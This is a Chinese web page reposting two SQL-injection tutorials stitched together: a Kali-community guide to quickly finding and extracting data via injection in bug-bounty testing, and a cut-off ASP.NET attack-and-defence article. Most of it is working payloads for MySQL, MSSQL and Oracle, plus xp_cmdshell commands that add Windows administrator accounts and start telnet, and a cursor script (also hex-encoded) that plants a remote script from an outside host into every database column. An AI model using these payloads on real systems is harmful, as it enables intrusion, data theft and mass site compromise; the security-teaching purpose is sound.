整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

Kali中文社区:众测之SQL注入漏洞经验分享

Kali中文社区:众测之SQL注入漏洞经验分享

者:termsec

链接:https://www.kali.net.cn/thread/51458


写在开头,此文适用于小白以及src、众测选手,从了解SQL注入到如何高效快捷地快速挖到SQL注入漏洞,

一、了解SQL注入漏洞

二、SQL注入类型

三、众测SQL注入漏洞经验分享

---------------------------------------------------我是分割线---------------------------------------------------------------------

一、了解SQL注入漏洞

我们首先了解什么是SQL注入漏洞,SQL注入漏洞是什么

简单点说,即web系统对用户输入数据的合法性没有判断或过滤不严,用户或攻击者可构造SQL语句来执行非预期查询。

以dvwa为例讲解,

我们可以看到下方查询框中输入1,此时系统返回了两条数据

这时我们可以看下后端数据库执行的语句:

SELECT first_name, last_name FROM users WHERE user_id=('1') LIMIT 1

可以看到数据库执行了user_id为1的条件查询

如果说此处查询框未对用户输入数据的合法性进行判断或过滤不严,就可能导致SQL注入漏洞。

比如我们输入1加一个单引号:1'

可以看到系统报错了,该查询框对用户输入的数据没有进行校验或过滤,导致用户输入的数据代入了数据库查询

看下后端的数据库SQL语句

可以看到SQL语句中多了一个单引号,此时数据库报错,

通过这里就可以明白,我们可以构造恶意的SQL语句来执行一些其他的查询

例如查询当前数据库的user值,

已知当前数据库语句为:SELECT first_name, last_name FROM users WHERE user_id='1'

因为这里是报错型注入(下一章会详细讲解),

此处为我们可以使用报错函数构造' and 1=updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1

直接在查询框输入即可:

可以看到该系统的数据库user值已经通过报错的方式呈现出来

再看看后端数据库语句:

我们刚才恶意构造的SQL语句已经成功代入数据库查询

SELECT first_name, last_name FROM users WHERE user_id='' and 1=updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1'

攻击者可以利用恶意构造的SQL语句,获取想要获取的信息。

二、SQL注入类型

SQL注入类型分为几种

  1. 联合查询
  2. 布尔盲注
  3. 延时注入
  4. 报错注入
  5. 宽字节注入
  6. 堆叠查询

什么是联合查询:

联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION或UNION ALL。

联合查询注入条件需要有占位,什么是占位?

标红的都是从数据库取出数据显示在页面上的,这些都是占位,通过构造sql语句,可以在占位上呈现出想要的信息。

什么是布尔盲注:

布尔盲注指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。
可以简单理解,布尔分为两种状态,即真(true)、假(false)

当我们在实战进行SQL注入的时候,系统不会返回我们想要的数据,只会返回真和假

示例:

为真时:

这里我们输入1,返回正常值,操作成功。

输入1'

此时数据库报错,系统前端页面显示异常、

也就是说,在后续的SQL注入中,系统只会返回操作成功和列表异常这两种状态,即真和假,通过返回状态来判断猜解数据,例如判断当前数据库的user值第一位为A,返回操作成功页面,否则列表异常页面。这就是布尔盲注。

什么是延时注入:

延时注入又称时间盲注,也是盲注的一种。通过构造延时注入语句后,浏览器页面的响应时间来判断正确的数据

延时注入跟布尔盲注很像,布尔盲注是通过真和假来判断,效率较高,延时盲注是通过时间来判断,例如判断当前数据库的user值第一位为A,则延时5秒,否则直接返回。

示例:

以dvwa为例,刚才我们得知user值为root@localhost

我们构造语句:1' and if(substr(user(),1,1)='r',sleep(5),1)or'

该语句的意思为通过if函数判断,substr函数截取当前user值的第一位是否为r,如果为r,即返回sleep(5),如果不是r则返回1。

可以看到当user值第一位等于R时系统延时了5000毫秒即5秒。通过延时来判断数据,这就是延时注入。

什么是报错注入:

报错注入就是通过页面爆出的错误信息,构造合适的语句来获取我们想要的数据。

简单说就是在测试的过程中系统对于一些SQL语句的错误,直接回显在了页面上,我们可以构造恶意语句直接通过页面回显查看我们想要的数据。

示例:

mysql报错:MySQL server version for the right syntax to use near

mssql报错:字符串 ')' 后的引号不完整

oracle报错:ORA-XXXXXX

如果在测试过程中出现了以上字样,那就说明可以使用报错函数来进行注入

mysql十大报错函数参考: https://www.cnblogs.com/zztac/p/11441292.html

mssql不需要报错函数,类型不匹配即可实现报错,例如1=user,即可返回当前数据库user值

oracle十大报错函数参考: https://www.jianshu.com/p/af12401bbfd9

什么是宽字节注入:

在使用PHP连接MySQL的时候,当设置“set
character_set_client=gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入% DF%27,即可把(%5C)吃掉。

举例:当我们提交id=1' and 1=1%23

数据库执行的语句为:select * from user where id='1\' and 1=1#'

这里将单引号转义了,无法注入成功

我们提交id=1%df' and 1=1%23

数据库执行的语句为:select * from user where id='1運' and 1=1#'

成功闭合,达到逃逸的效果

宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。

什么是堆叠查询注入:

在SQL中,分号(;)是用来表示一条sql语句的结束。如果我们在 ; 结束一个sql语句后继续构造下一条语句,数据库会一起执行,所以这也就造就了堆叠注入。

示例:

Select * from products where productid=1;DELETE FROM products

当执行命令后,第一条显示查询信息,第二条则将整个表进行删除,这就是堆叠注入。

三、众测SQL注入漏洞经验分享

看到这里,相信大家已经对SQL注入有了一个大致的了解,接下来就讲一下众测的一些经验分享。

在众测中,大佬们的手速是非常快的,10分钟项目暂停,20分钟项目结束,我们提交上去除了重复还是重复。

正文:

挖掘SQL注入:

首先我们要了解SQL注入的精髓是什么,是if(1=1,1,1)

在大企业项目中常见的数据库中我们见得最多的是mysql以及oracle

首先,我们该如何挖掘SQL注入,有交互的地方就会存在SQL注入漏洞,在测试的过程中,我们可以使用单引号来测试,一个单引号报错,两个单引号闭合为真,万变不离其宗,只要符合这个特征,符合数据库原理,那么极有可能存在SQL注入漏洞。

我们可以通过返回包状态来判断是否存在

我们可通过http状态码以及length长度和返回的内容来进行判断

单个单引号返回错误,双个单引号返回正常

如果是数字型的参数,可通过减法、除数来快速判断存在注入。

例如:

http://127.0.0.1/shell.php?id=1

这里id=1,看下数据库后端执行的SQL语句

数据库执行的sql语句为:select * from users where user_id=1

可以看到数字1是没有被单引号包裹的,说明此处为数字型注入,

如何快速判断数字型注入,可以使用减法,我们可以输入2-1

可以看到返回结果和1是一样的,看下数据库执行的语句

可以看到代入数据库查询了,数据库执行运算了2-1,说明此处可控,存在数字型注入

也可以使用除法1/1、1/0来判断,1/1为真,1/0为假。

后面会讲如何通过除数来注入,通过以上两个方式可以快速判断是否存在SQL注入漏洞。

判断数据库类型:

大家在挖掘到sql注入的时候不知道数据库类型,接下来大家讲解下如何快速判断数据库类型。

iis+asp.net可以初步判断为mssql、oracle

php+apache+nginx可以初步判断为msyql、oracle、PostgreSQL

在挖到sql注入漏洞时,首先第一步是判断数据库类型

我们可以通过管道符来测试、'||'

可以看到通过管道符''系统返回了所有数据,该条件类似or永真,如果输入''系统返回真,即可排除mssql数据库,因为mssql数据库不支持管道符,说明此系统可能为mysql或oracle数据库。

既然得知该系统可能为mysql或oracle,继续判断是什么数据库

这里可以使用一个函数、exp函数

简单讲下,mysql的特征是exp的值到710就会报错,1-709是不会报错的,看看数据库执行结果

实例:

exp(709):

exp(710):

通过此方法可以判断出该系统为mysql数据库

第二种方法使用运算符:(2*1e308)

原理一样,1E308是一个阈值,也就是临界值,到了这个值就会报错,没到就不会报错。

第三种方法(select 1 union select 2):

此方法适用于exp以及2*1e308不报错的情况下,因为在实战中可能会遇到exp(710)不会报错

示例:

'(case when 1=1 then 1 else (select 1 union select 2) end)'

'(case when 1=2 then 1 else (select 1 union select 2) end)'

oracle数据库判断:

oracle数据库也适用于exp函数,但是oracle没有一个固定的临界值。

举例:

可以输入exp(1)看看返回结果,如果返回真,再输入exp(100)、exp(300)、exp(500),如果后面报错的话可以判断为oracle数据库,也许在300多报错,也许在500多报错,没有固定的值,但是exp(1)肯定是不会报错的,如果报错,说明函数过滤或不可用。

另外也可以使用oracle的一些函数来测试是否能够报错

例如1/0、ln(-1)、sqrt(-1)、1-(select 1 from dual union select 2 from dual)等等

MSSQL数据库判断:

exp函数也同样使用于mssql数据库,也是710报错,另外也可以通过len函数以及iif函数来判断,mssql特征过于明显,这里不过多描述。

快速出数据:

到了最关键的一步,如何快速出数据,在众测或者是src中,我们往往需要通过注入出数据才能证明漏洞。

下面就讲下如何快速出数据

大家常用的语句想必是case when...

那么接下来就以case when为例讲解

什么是case when函数:

可以简单理解为if else,即判断当前条件是否为真,为真返回值,为假则进入else条件。

看一条语句

case when 1=1 then 1 else 0 end

该语句意思为 1=1时返回1,否则返回0

看数据库是如何执行的:

这样就很容易理解了吧

上面讲到了SQL注入的精髓是什么,是if(1=1,1,1)

如果我们把这个函数代入sql注入中,那么你就成功了一半了

dvwa示例(布尔盲注示例):

在实战中,我们只需要看三个地方,一个是自己输入的值,二、HTTP状态码、三、length长度,此处为布尔盲注,返回内容不用管,如果是报错注入,会在返回内容报错呈现出我们想要的信息。

此处布尔盲注我们可以接入case when进行注入

首先加入单引号查看返回值:

两个单引号查看返回值:

可以看到一个单引号的时候,数据库报错了,系统返回状态为404,length长度值为5366,

两个单引号的时候系统返回真,状态码200,length长度值为5360

我们就可以理解系统在真的情况下返回5360,假的情况下返回5366

接下来我们键入cashe when 函数

mysql、oracle可通用管道符、'(语句)'

'(case+when+1=1+then+1+else+exp(710)+end)'

这条语句的意思即1=1时返回1,否则返回exp(710),exp(710)上面讲了,直接报错

先看看1=1和1=2的返回结果

这里我们就根据系统返回的页面不同、真假差异来进行SQL注入

例如我们通过substr函数截取当前数据库user值第一位:

substr(user(),1,1)='r'

代入case when就是'(case+when+substr(user(),1,1)='r'+then+1+else+exp(710)+end)'

如果当前user值第一位是r的话系统返回1也就是真,状态码为200,length长度为5360

如果我们输入a,系统即报错

我们可以通过遍历26个字母显得更直观:

注意,根据系统以及数据库不同可能返回长度和状态码会有差异。

如果你成功了构造了case when 函数,那么可以在1=1条件处构造自己想要执行的SQL语句。

我们可以看看sqlmap的布尔盲注的payload,都是通过case when来完成

mysql如何快速出数据:

实战中遇到的mysql数据库一般分为布尔、报错,一般情况下mysql常用的函数为user()、current_user

mysql可用函数:

database() //获取当前数据库
version() //获取数据库版本
user() //获取用户

current_user //获取用户
@@datadir //获取数据库路径
@@version_compile_os //获取操作系统
@@basedir //mysql安装路径
session_user() //获取连接数据库的用户名
current_user() //获取当前用户名
current_user //获取当前用户名
system_user() //获取系统用户名
@@
version //获取数据库版本

布尔:

我们在挖到一个SQL注入的时候,首先想的是构造语句闭合来执行我们的恶意语句。

这里可以使用mysql、oracle通用的管道符、\'||',如果遇到waf拦截,可以在管道符中间添加空格'|+|'

在src、众测实战中我们往往需要快速出数据,

一般情况下,我们在挖掘SQL注入的时候,遇到的布尔盲注排在第一位,其次是报错

延时盲注一般都是扫描器扫出来的,为了提高效率,可以通过数据库报错函数转换成布尔盲注。

通用语句:

'(case+when+(语句)+then+1+else+exp(710)+end)'

使用管道符闭合SQL语句'(语句)'

'if(substr(user(),1,1)='r',1,exp(710))'

使用模糊匹配出数据:

' and user() like 'a%

使用substr函数截取出数据:

' and substr(user(),1,1)='r

我们在测试SQL注入出数据的时候,首先需要构造一个布尔的状态,即真和假

那么如何构造,上面说了一些报错函数,那么我们可以先用管道符来闭合SQL语句

然后在构造一个布尔的状态,来执行我们想要执行的SQL语句

先看第一条语句:

'(case when(语句)then 1 else exp(710) end)'

这里语句框我们可以构造自己想要执行的任何SQL语句

因为布尔状态已经构造成功,为真时返回1,即为真,如果为假,系统返回exp(710)函数直接报错。

示例:

'(case when substr(user(),1,1)='r' then 1 else exp(710) end)'(截取当前user值第一位是否为r,为r返回1,否则报错)

'(case when user() like 'r%' then 1 else exp(710) end)'(模糊匹配user值第一位是否为r,为r返回1,否则报错)

'(case when length(user())=14 then 1 else exp(710) end)'(获取user值长度是否为14,为14返回1,否则报错)

假设我们不可使用case when函数,我们可以使用if函数

'if((语句),1,exp(710))'

大家可以查看mysql手册,寻找自己所需要的的函数进行测试

在实际测试过程中,我们经常会遇到系统无法报错,这是因为数据表里无数据,数据库执行了空表查询,我们可以通过新建一条数据来达到报错效果.

除了使用管道符来闭合SQL语句,我们还可以使用and或者or来构造闭合

例如:' and 1=1 and '1'='1,') and 1=1 and('1'='1

1=1 就是可输入语句的位置,可构造自己想要执行的任意语句

过滤逗号和for:

substr(user()from(1))='a'

mid(user()from(1))='a'

过滤单引号:

ord(mid(user(),1,1))=114(114为字母r的ascii码)

ascii(mid(user(),1,1))=114

hex编码注入:

(case when current_user like 0x2525 then 1 else 2*1e308 end)

布尔盲注:

(CASE WHEN substr(user(),1,1)='A' THEN 1 ELSE 1*(SELECT 1 FROM INFORMATION_SCHEMA.PLUGINS) END)
(PLUGINS表提供有关服务器插件的信息。利用该表进行基于布尔的报错盲注。)

示例:

延时注入:

' AND if(substr(user(),1,1)='r',sleep(5),1) AND 'TERM'='TERM(user值第一位为r时延时,不为r时返回1)

sleep不可用时:

SELECT if(substring(user(),1,1)='r',BENCHMARK(10000000,md5('a')),1);user值第一位为r时延时,不为r时返回1

order by 后注入:

在实战测试过程中,经常会看到“&sort=id&order=desc”这样的参数,这是排序字段,asc是升序,desc是降序,系统在开发的过程中很有可能忽略对这个参数进行过滤

这个参数是在order by后的,我们可以使用逗号来闭合

先看执行过程:

可以看到该参数的作用是对数据进行排序,假设在实战中遇到这样的参数我们可以使用逗号来闭合

例如:

&sort=id&order=desc,(case when 1=1 then 1 else exp(710) end)

或者可以使用减号

&sort=id-(case when 1=1 then 1 else 0 end)&order=desc

也可以使用and或or

&sort=id and if(1=1,1,1)&order=desc

还可以使用RLIKE

&sort=id&order=price RLIKE (SELECT (CASE WHEN (9454=9454) THEN 0x7072696365 ELSE 0x28 END))

注意:以上payload仅供参考,在实战过程中可能有差异,具体需自己测试,

MSSQL快速出数据:

current_user? 返回当前用户的名字
datalength?返回用于指定表达式的字节数
Host_name 返回当前用户所登陆的计算机名
system_user 返回当前所登陆的用户名称
user_name 从给定的用户ID返回用户名
user_name() 从给定的用户ID返回用户名
user_id() 返回指定用户名的用户ID
SUSER_SNAME() 返回指定安全ID的登录名
SUSER_SID() 返回指定用户的登录名的安全ID

MSSQL一般情况下报错注入居多,类型不匹配即可报错,不需要报错函数。

例如'and 1=user--+,即可返回当前数据库user值。

同时mssql也是支持exp和case when函数的

可以通过构造and、or语句闭合来执行我们的语句

例如' and 1=user and '1'='1、' and 1=(case when 1=1 then 1 else 0 end) and '1'='1

如果是数字型注入,可以直接用减号来出数据,1-db_name()

又或者1-iif(1=1,1,1),1-(case when 1=1 then 1 else 0 end)

MSSQL 常见截取函数:
substring()

left():使用模糊匹配
例:left(user,2)='db'

right():返回从字符串右边开始指定个数的字符
select right('SqlServer_2008',4)
返回:2008

判断当前数据库是否为sa:
';if system_user='sa' waitfor delay '0:0:5'--

开启cmd_shell存储:
id=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE WITH OVERRIDE ; -- '

执行命令:

';exec master..xp_cmdshell "whoami"

oracle快速出数据:

在众测实战中遇到的金融、银行、企业使用的oracle数据库较多

爆数据库版本:

select banner from v$version where rownum=1

查看当前数据库:(SELECT name FROM v$database)

当前数据库账号:(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)

判断当前系统是否为windows:(select member from v$logfile where rownum=1)

获取服务器SID:(select instance_name from v$instance) from dual

获取表名:select table_name from user_tables where rownum=1

获取字段:(select column_name from user_tab_columns where table_name='表名' and rownum=1)

页面返回正常,说明是oracle数据库:
and (select count (*) from dual)>0

当前用户权限 (select * from session_roles)

服务器监听IP (select utl_inaddr.get_host_address from dual)

服务器操作系统 (select member from v$logfile where rownum=1)

服务器sid ( 远程连接的话需要, select instance_name from v$instance)

当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)

在判断数据库时可以用'and 1=(select 1 from dual) '%'=' 语句来判断,页面正常则为oracle数据库。

上面说了oracle支持管道符,同时也支持case when函数,oracle我们可以使用decode函数来快速出数据。

decode函数用法:

可以简单理解为if函数、case when函数用法一致。

示例:

decode函数盲注:
'decode(substr(user,1,1),'W',1,1/0)'(判断当前数据库user值第一位是否为W,如果是,则返回1,否则返回1/0)

上面讲了很多报错函数,可以根据系统不同自己测试使用

在oracle数据库可以利用除数特性来除以0达到报错(mssql也支持),也可以使用exp函数报错

exp函数(随机数值)

使用case when获取数据:

'(case+when+substr(user,1,1)='J'+then+1+else+exp(8888)+end)'

闭合判断:

') OR 1=(CASE WHEN substr(user,1,1)='A' THEN 1 ELSE 1/0 END) AND ('1'='1

主题词表盲注:

' AND 1=(CASE WHEN substr(user,1,1)='A' THEN NULL ELSE CTXSYS.DRITHSX.SN(1,1) END) AND 'oFWf' LIKE 'oFWf

order by 后注入(sort参数):
sort=desc,(SELECT (CASE WHEN substr(user,1,1)='A' THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)

select 1 union select 2:

select (case when 1=1 then null else 2*(SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) end) from dual;

判断user长度:
select length(user) from dual
select vsize(user) from dual

截取user值:

decode(substr(userenv('CURRENT_USER'),1,1),'W',1,0)

oracle支持的函数:
SYS_CONTEXT('USERENV','CURRENT_USER') current_user,
SYS_CONTEXT('USERENV','CURRENT_SCHEMA') current_user,
SYS_CONTEXT('USERENV','SESSION_USER') session_user,
SYS_CONTEXT('USERENV','DB_NAME') db_name,
SYS_CONTEXT('USERENV','OS_USER') os_user

如遇到系统无法报错,这是因为数据表里无数据,数据库执行了空表查询,我们可以通过新建一条数据来达到报错效果

只要懂得原理,通过构造布尔的状态,查阅oracle函数手册,合理搭配运用函数,都可以达到获取自己想要的数据的效果

业开始从事winform到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。

(对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉地犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文)


下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。

示例程序下载:SQL注入攻防入门详解_示例


什么是SQL注入(SQL Injection)

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。


尝尝SQL注入

1. 一个简单的登录页面

关键代码:(详细见下载的示例代码)


private bool NoProtectLogin(string userName, string password)

{

int count=(int)SqlHelper.Instance.ExecuteScalar(string.Format

("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));

return count > 0 ? true : false;

}


方法中userName和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(账户:admin 123456)


1) 输入正常数据,效果如图:

合并的SQL为:

SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'


2) 输入注入数据:

如图,即用户名为:用户名:admin’—,密码可随便输入

合并的SQL为:

SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'

因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上'; ' (分号,用于结束前一条语句),后边加上'--' (用于注释后边的语句))


2. 上面是最简单的一种SQL注入,常见的注入语句还有:

1) 猜测数据库名,备份数据库

a) 猜测数据库名: and db_name() >0 或系统表master.dbo.sysdatabases

b) 备份数据库:;backup database 数据库名 to disk=‘c:\*.db’;--

或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--

2) 猜解字段名称

a) 拆解法:and (select count(字段名) from 表名)>0 若“字段名”存在,则返回正常

b) 读取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次换成2,3,4,5,6…就可以得到所有的字段名称。

3) 遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)

先创建一个临时表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

a) 利用xp_availablemedia来获得当前所有驱动器,并存入temp表中

;insert temp exec master.dbo.xp_availablemedia;--

b) 利用xp_subdirs获得子目录列表,并存入temp表中

;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

c) 利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中

;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (实验成功)

d) 利用 bcp 命令将表内容导成文件

即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。(使用该命令必须启动’ xp_cmdshell’)

Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'

(注意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)

在sql查询器中通过语句:Exec master..xp_cmdshell N'BCP’即可查看BCP相关参数,如图:

4) 查询当前用户的数据库权限

MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

可通过1=(select IS_SRVROLEMEMBER('sysadmin'))得到当前用户是否具有该权限。

5) 设置新的数据库帐户(得到MSSQL管理员账户)

d) 在数据库内添加一个hax用户,默认密码是空的

;exec sp_addlogin'hax';--

e) 给hax设置密码 (null是旧密码,password是新密码,user是用户名)

;exec master.dbo.sp_password null,password,username;--

f) 将hax添加到sysadmin组

;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--

6) xp_cmdshell MSSQL存储过程(得到 WINDOWS管理员账户 )

通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用 cmd.exe 工具,可以做什么自己多了解下。

下面我们使用xp_cmdshell来创建一个 Windows 用户,并开启远程登录服务:

a) 判断xp_cmdshell扩展存储过程是否存在

SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'

b) 恢复xp_cmdshell扩展存储过程

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';

开启后使用xp_cmdshell还会报下面错误:

SQL Server 阻止了对组件 'xp_cmdshell' 的过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'xp_cmdshell'。有关启用'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

通过执行下面的语句进行设置:

-- 允许配置高级选项

EXEC sp_configure 'show advanced options', 1

GO

-- 重新配置

RECONFIGURE

GO

-- 启用xp_cmdshell

EXEC sp_configure 'xp_cmdshell', 0

GO

--重新配置

RECONFIGURE

GO

c) 禁用xp_cmdshell扩展存储过程

Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';

d) 添加windows用户:

Exec xp_cmdshell 'net user awen /add';

e) 设置好密码:

Exec xp_cmdshell 'net user awen password';

f) 提升到管理人员:

Exec xp_cmdshell 'net localgroup administrators awen /add';

g) 开启telnet服务:

Exec xp_cmdshell 'net start tlntsvr'

7) 没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.

(本人windows7系统,测试下面SQL语句木有效果)

declare @shell int ;

execsp_OAcreate 'w script .shell',@shell output ;

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';

在使用的时候会报如下错:

SQL Server 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

解决办法:

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'Ole Automation Procedures', 1;

GO

RECONFIGURE;

GO

好了,这样别人可以登录你的服务器了,你怎么看?

8) 客户端脚本攻击

攻击1:(正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。

措施:转义提交的内容,.NET 中可通过System.Net.WebUtility.HtmlEncode(string) 方法将字符串转换为HTML编码的字符串。


攻击2:(SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过System.Net.WebUtility.HtmlEncode(string) 转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”。

参考:

注入:SQL注入案例曝光,请大家提高警惕

恢复:批量清除数据库中被植入的js

示例代码:(可在示例附带的数据库测试)

a) 向当前数据库的每个表的每个字段插入一段恶意脚本


1

2

3

4

5

6

7

8

9

10

11

12

13

Declare @T Varchar(255),@C Varchar(255)

Declare Table_Cursor Cursor For

Select A.Name,B.Name

From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)

Open Table_Cursor

Fetch Next From Table_Cursor Into @T,@C

While(@@Fetch_Status=0)

Begin

Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''')

Fetch Next From Table_Cursor Into @T,@C

End

Close Table_Cursor

DeallocateTable_Cursor


b) 更高级的攻击,将上面的注入SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行


dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;

eXeC(@s);--


c) 批次删除数据库被注入的脚本


declare @delStrnvarchar(500)

set @delStr='<script src=http://8f8el3l.cn/0.js></script>' --要被替换掉字符

setnocount on

declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint

declare @sqlnvarchar(500)

set @iResult=0

declare cur cursor for

selectname,id from sysobjects where xtype='U'

open cur

fetch next from cur into @tableName,@tbID

while @@fetch_status=0

begin

declare cur1 cursor for

--xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型

select name from syscolumns where xtype in (231,167,239,175) and id=@tbID

open cur1

fetch next from cur1 into @columnName

while @@fetch_status=0

begin

set @sql='update [' + @tableName + '] set ['+ @columnName +']=replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''

execsp_executesql @sql

set @iRow=@@rowcount

set @iResult=@iResult+@iRow

if @iRow>0

begin

print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'

end

fetch next from cur1 into @columnName

end

close cur1

deallocate cur1

fetch next from cur into @tableName,@tbID

end

print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'

close cur

deallocate cur

setnocount off


d) 我如何得到“HEX编码”?

开始不知道HEX是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:(注意转换的时候不要加入十六进制的标示符 ’0x’ )

? 在线转换 (TRANSLATOR, BINARY),进入……

? C#版的转换,进入……

9) 对于敏感词过滤不到位的检查,我们可以结合函数构造SQL注入

比如过滤了update,却没有过滤declare、exec等关键词,我们可以使用reverse来将倒序的sql进行注入:


declare @A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');


防止SQL注入

1. 数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户。

如MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

2. 自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。

在 ASP.NET 中,可通过web.config配置文件的<customErrors>节点设置:


<customErrors defaultRedirect="url" mode="On|Off|RemoteOnly">

<error. . ./>

</customErrors>


更详细,请进入……

mode:指定是启用或禁用自定义错误,还是仅向远程客户端显示自定义错误。


On

指定启用自定义错误。如果未指定defaultRedirect,用户将看到一般性错误。


Off

指定禁用自定义错误。这允许显示标准的详细错误。


RemoteOnly

指定仅向远程客户端显示自定义错误并且向本地主机显示ASP.NET 错误。这是默认值。


看下效果图:

设置为<customErrors mode="On">一般性错误:


设置为<customErrors mode="Off">:


3. 把危险的和不必要的存储过程删除

